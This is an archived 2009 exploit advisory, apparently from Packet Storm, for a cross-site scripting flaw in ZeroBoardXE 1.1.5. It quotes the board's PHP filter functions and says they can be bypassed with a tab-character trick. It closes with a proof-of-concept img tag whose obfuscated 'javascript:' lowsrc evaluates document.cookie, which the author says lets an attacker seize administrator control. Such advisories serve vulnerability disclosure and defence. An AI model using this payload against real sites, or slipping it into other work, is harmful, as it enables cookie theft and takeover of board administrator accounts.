what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

ZeroBoardXE 1.1.5 Cross Site Scripting

ZeroBoardXE 1.1.5 Cross Site Scripting
Posted Feb 9, 2009
Authored by make0day

ZeroBoardXE version 1.1.5 (09.01.22) suffers from a cross site scripting vulnerability.

tags | exploit, xss
SHA-256 | 969888bbcc7fec1a18745dd932a913efe31555f44475d508e6864329608ede99

ZeroBoardXE 1.1.5 Cross Site Scripting

Change Mirror Download
ZeroBoardXE 1.1.5 (09.01.22) XSS Vulnerability 
bY make0day@gmail.com
Greet to : Flyh4t
/*************************

ZeroBoardXE (VERSION 1.1.5 (09.01.22))is most famous and widely used bulletin board system of Korea.
It is freely available for all platforms that supports PHP and MySQL.
I find a XSS vulnerability.
By using this vulnerability, Malicious person can occupy administrator permission,
It means attacker can control board system fully
Here is the details:

**************************/
TEST ON VERSION ZeroBoardXE 1.1.5 (09.01.22)
Download : http://www.zeroboard.com
/***************************
[0x01] XSS vulnerability

/config/func.inc.php

function removeHackTag($content) {

$content = preg_replace_callback("!<([a-z]+)(.*?)>!is", removeJSEvent, $content);


$content = preg_replace_callback("!<([a-z]+)(.*?)>!is", removeSrcHack, $content);

return $content;
}

function removeJSEvent($matches) {
$attrs = $matches[2];

if(preg_match('/(src|href|lowsrc|dynsrc)=("|\'?)([\r\n]*)(vbscript|javascript)/is', $matches[2])) {
$attrs = preg_replace('/(src|href|lowsrc|dynsrc)=("|\'?)([\r\n]*)(vbscript|javascript)/is','$1=$2_$4', $attrs);
}

$attrs = preg_replace(
'/(\r|\n| )+on(click|dblclick|mousedown|mouseup|mouseover|mouseout|mousemove|keydown|keyup|keypress|load|unload|abort|error|select|change|submit|reset|resize|scroll|focus|blur)+([= ]+)/is',
' _on$2=',
$attrs
);

$attrs = preg_replace('/_onclick=("|\')window\.open\(this\.href\);(.?)return false;("|\')/i','onclick=$1window.open(this.href);$2return false;$3', $attrs);

return '<'.$matches[1].$attrs.'>';
}

function removeSrcHack($matches) {
$tag = strtolower(trim($matches[1]));

$buff = trim(preg_replace('/(\/>|>)/','/>',$matches[0]));
$buff = str_replace(array('&','&'),array('&','&'),$buff);
$buff = preg_replace_callback('/([^=^"^ ]*)=([^ ^>]*)/i', fixQuotation, $buff);

$oXmlParser = new XmlParser();
$xml_doc = $oXmlParser->parse($buff);

$src = $xml_doc->{$tag}->attrs->src;
$dynsrc = $xml_doc->{$tag}->attrs->dynsrc;
$lowsrc = $xml_doc->{$tag}->attrs->lowsrc;
$href = $xml_doc->{$tag}->attrs->href;
if(_isHackedSrc($src) || _isHackedSrc($dynsrc) || _isHackedSrc($lowsrc) || _isHackedSrc($href) ) return sprintf("<%s>",$tag);

return $matches[0];
}

function _isHackedSrc($src) {
if(!$src) return false;
if($src) {
$url_info = parse_url($src);
$query = $url_info['query'];
$queries = explode('&', $query);
$cnt = count($queries);
for($i=0;$i<$cnt;$i++) {
$tmp_str = strtolower(trim($queries[$i]));
$pos = strpos($tmp_str,'=');
if($pos === false) continue;
$key = strtolower(trim(substr($tmp_str, 0, $pos)));
$val = strtolower(trim(substr($tmp_str,$pos+1)));
if( ($key=='module'&&$val=='admin') || ($key=='act'&&preg_match('/admin/i',$val)) ) return true;
}
}
return false;
}

//Developer try to detect XSS hardly,
//But That`s not enough..
//The real-hacker can bypass it.
//I`m just used 09 trick.
//That`s all
*************************/

poc:
<img lowsrc="j a v a s c ri pt:alert((eval(('D'+'o'+'C'+'u'+'M'+'e'+'N'+'t'+'.'+'C'+'o'+'O'+'k'+'I'+'e').toLowerCase())));">

Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    54 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    17 Files
  • 14
    May 14th
    11 Files
  • 15
    May 15th
    17 Files
  • 16
    May 16th
    13 Files
  • 17
    May 17th
    22 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    17 Files
  • 21
    May 21st
    18 Files
  • 22
    May 22nd
    7 Files
  • 23
    May 23rd
    111 Files
  • 24
    May 24th
    27 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close